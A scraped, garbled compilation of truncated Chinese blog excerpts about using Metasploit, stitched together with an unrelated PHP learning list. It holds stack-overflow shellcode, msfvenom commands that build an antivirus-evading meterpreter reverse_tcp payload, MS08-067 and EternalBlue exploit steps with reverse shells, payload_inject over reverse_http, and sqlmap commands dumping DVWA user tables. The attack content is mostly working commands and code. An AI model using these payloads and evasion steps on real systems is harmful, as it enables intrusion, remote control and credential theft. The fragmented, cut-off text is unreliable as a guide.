learn metasploit

The attack is done under BT5 and the target program is running on an Ubuntu virtual machine.First, you need to figure out what a stack overflow attack is, read morehttp://blog.csdn.net/cnctloveyu/article/details/4236212This article is very clear, but the specific example is not very accurate, a little bit wrong.Here is an example of a modified executable that I have verified.Shell.c1#include 2 3 CharShellcode[] =4 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 5 "\x89\xf3\x8d

-new_fd 1\n"); - Close (NEW_FD); theExit0); the } theprintf"close-new_fd 2\n"); the Close (NEW_FD); - } theprintf"close-sockfd\n"); the Close (SOCKFD); the}This core is the recvastring function we are concerned with, which contains an obvious stack overflow vulnerability. We look specifically at:1 voidRecvastring (intnew_fd)2 {3UnsignedCharbuff[ -];4 intI=0;5printf"sp=0x%x,addr=0x%x bytes.\n", get_sp (),buff);6 intNumBytes = recv (New_fd,buff,1024x768,0);7 if(numbytes==-1

The methods involved in this article can only be tested on authorized machines.First, I suggest you check the usage of meterpreter on the Internet. Read this article to understand why msf is used for permission elevation (because msf has a meterpreter which is very powerful ^_^)Metasploit has two tools: msfpayload and msfencode. These tools not only generate exe-type backdoors, but also generate webshells of the web script type. By generating webshell

prompt you to enter the path.650) this.width=650; "src=" http://s4.51cto.com/wyfs02/M02/8B/5A/wKiom1hKNYDgJ-DVAACbgOjOXCQ699.jpg "style=" float: none; "title=" 2.jpg "alt=" Wkiom1hknydgj-dvaacbgojoxcq699.jpg "/>1.6 Enter the command "show options" in the terminal to see the related items that need to be set, and "yes" to indicate the parameters that must be filled in.1.7 Enter the command "set RHOST 192.168.1.3" in the terminal to set the IP address of the target host.650) this.width=650; "sr

The Metasploit software in the BT5 penetration tool used today, bt5 is a well-known hacker tool that contains many hacking software and security evaluation tools, although it is a hacker software, but it is also a helper in Security Detection. It can help us detect many vulnerabilities, mainly depending on how you use them. Because it is a hacker software, we hope that you can obtain authorization from others before conducting security detection to av

Topological environment: 2 virtual machines, one Kali, another XP with ms08067 vulnerability or 2000 or 2003 machinesMsfconsole entering the MSF consoleEnter Search ms0-067Find the appropriate moduleUse EXPLOIT/WINDOWS/SMB/MS08_067_NETAPI using the appropriate moduleSet PAYLOAD windows/meterpreter/reverse_tcp setting bounce ConnectionShow Options View setup optionsSet RHOST 192.168.80.XX setting up a remote hostSet Lhost 192.168.80.YY setting Local HostShow targets view attack target system type

]+-----------+| Guestbook | | Users |+-----------+Probe the list of fields in users and discover that there is a password, haha! Get the contents out: # sqlmap-u " http://www.dvssc.com/dvwa/ vulnerabilities/sqli/?id=bbsubmit=submit# "--cookie= ' security=low; Phpsessid=ov3jmigsemo6d47367co53qq24 "-D dvwa--tables-t users--columns# sqlmap -u " http:// www.dvssc.com/dvwa/vulnerabilities/sqli/?id=bbSubmit=Submit# --cookie= security=low; Phpsessid=ov3jmigsemo6d47367co53qq24 &quo

Metasploit+python generate Kill-free EXE ever the Antivirus1 Generate a bounce MSF python script under Kali, with the following command:Msfvenom-p windows/meterpreter/reverse_tcp lport=443 lhost=192.1681. 102 One-f py-o /opt/bk.py2. Copy the bk.py to the WINDOW32 system and modify it as follows (the red callout here is to modify the added code, other unchanged)From ctypes Import * Import ctypesbuf=""buf+="\xbb\x7a\x62\x0a\x22\xdb\xc9\xd9\x74\x24\x

) > Use Exploit/windows/local/payload_injectmsf exploit ( Payload_inject) > set payload windows/meterpreter/reverse_httpmsf Exploit (payload_inject) > set Disablepayloadhandler true msf Exploit (Payload_ Inject) > set lhost 192.168 . Span style= "COLOR: #800080" >229.143 msf exploit (payload_inject) > Span style= "COLOR: #0000ff" >set lport 1212 MSF exploit (payload_inject) > set SESSION 1 msf exploit (payload_inject) > Exploit http://blog.csdn.net/qq_27446553/article/d

===========================Command Description------- -----------ifconfig display interfaces ipconfig display interfaces PORTFWD Forward a local port to a re Mote Service Route View and modify the routing Tablestdapi:system Commands=======================Command Description------- -----------Execute execute a command getuid Get the user that the server isRunning asPS List Running processes Shell Drop into a system command shell SysInfo Gets infor Mation about the remote system, such

For ms17_010, refer to Http://www.cnblogs.com/sch01ar/p/7672454.htmlTarget ip:192.168.220.139Native ip:192.168.220.145#-*-Coding:utf-8-*-__author__ = "MuT6 sch01ar" import osdef Handler (configfile,lhost,lport,rhost): Configfile.write (' use exploit/windows/smb/ms17_010_eternalblue\n ') configfile.write (' Set Lport ' + str (LPORT) + ') \ n ') configfile.write (' Set lhost ' + str (lhost) + ' \ n ') configfile.write (' Set RHOST ' + str (RHOST) + ' \ n ') con Figfile.write (' expl

Basic commandsImport Scan ResultsDb_import/path/file. NessusView existing IP information in the databaseMSF > Db_hosts-c address,svcs,vulns (Note: VULNS is vulnerability vulnerability abbreviation)Displays a list of detailed vulnerabilitiesMSF > Db_vulnsThe first step:Connecting to a databaseMSF > Db_connect postgres:[email protected] Database ip/msf3Step Two:Load NessusStep Three:MSF > Nessus_connect nessus Account: Password @ip: port (default = 8834)MSF > LoadView Plugin HelpMSF > Nessus_helpA

Http://www.myhack58.com/Article/html/3/8/2012/36261.htm XSSF Brief Introduction The Cross-site Scripting Framework (XSSF) is a security tool that makes it very easy to take advantage of cross-site scripting (XSS) vulnerabilities. The main purpose of the XSSF project is to demonstrate the actual harm of XSS. Now, let's talk about my process. First download the XSSF in BT5 Then go to its folder to see, there is a readme, open to see what needs to be done next. Copy all files to MSF3. A

A command injection vulnerability is to have a web app execute a command that was not previously available, which could be an operating system command or a custom script program. In the "Metasploit Penetration Test Devil Training Camp" book, the author of the WordPress plug-in Zingiri the existence of a command injection vulnerability analysis, but the cause of the vulnerability of the explanation is not particularly clear. One, the vulnerability trig

Vulnerability version: Microsoft Windows XP Professional Microsoft Windows XP Home Microsoft Windows Server 2003 Standard Edition Microsoft Windo WS-Server 2003 Enterprise Edition Microsoft Windows Server 2003 Datacenter Edition Microsoft Windows 7 Vulnerability Description: The Bugtraq id:52354 CVE id:cve-2012-0152 Remote Desktop Protocol (RDP, remotely desktop Protocol) is a multi-channel (multi-channel) protocol that allows the user (client or "local computer" ) connected to a computer tha

Label:Service PostgreSQL Start[....] Starting PostgreSQL 9.1 database server:main[...] The PostgreSQL server failed to start. Please check the log output:2015-02-07 18:52:12 CST log:could not translate host name "localhost" and service "5432" to add Ress:name or service not known 2015-02-07 18:52:12 CST warning:could not create listen sockets for "localhost" 2015-02-07 18:52:12 CST Fatal:could Not the Create any TCP/IP sockets. [F failed!failed!/etc/hostsAdd "127.0.0.1 localhost"

Build penetration test environment Kali attack aircraft WinXP SP1 drone Start Metasploit Windows RPC-related vulnerabilities Internal-provided vulnerability attacks drone WinXP SP1 network configuration to view the NAT network segment of a virtual machine Configure IP addresses for WinXP SP1 drone Perform vulnerability Utilization Post -exploit:meterpreter> Drone's information Process Situation View 2008 Process migration to explorer.exe P

This paper describes in detail the Python method of remote call Metasploit, which has a good reference value for Python learning. The implementation methods are as follows: (1) Installing the Python Msgpack class library, the data serialization standard in the MSF official documentation is the reference to Msgpack. root@kali:~# apt-get Install python-setuptools root@kali:~# Easy_install (2) Create Createdb_sql.txt: Create databa

The methods involved in this article can only be tested on authorized machines.First of all, I suggest that we check the usage of Meterpreter on the Internet. Read this article to understand why you should use MSF Laiti (because there is a meterpreter in MSF that is powerful ^_^)Metasploit owns both Msfpayload and Msfencode tools, both of which can generate an EXE-type backdoor, a Webshell that generates web script types, and then sets up the listener

Reply content:Basic syntax Coding techniques, coding specifications Various functions Various PHP modules Learn a CMS or two-time development Learn about Pdo,ado, data-driven layers, and learn MySQL on the go Error mechanism Object oriented Use a framework to help develop Magic method Design Patterns Reflection Write all kinds of tools, drivers. Write a small fra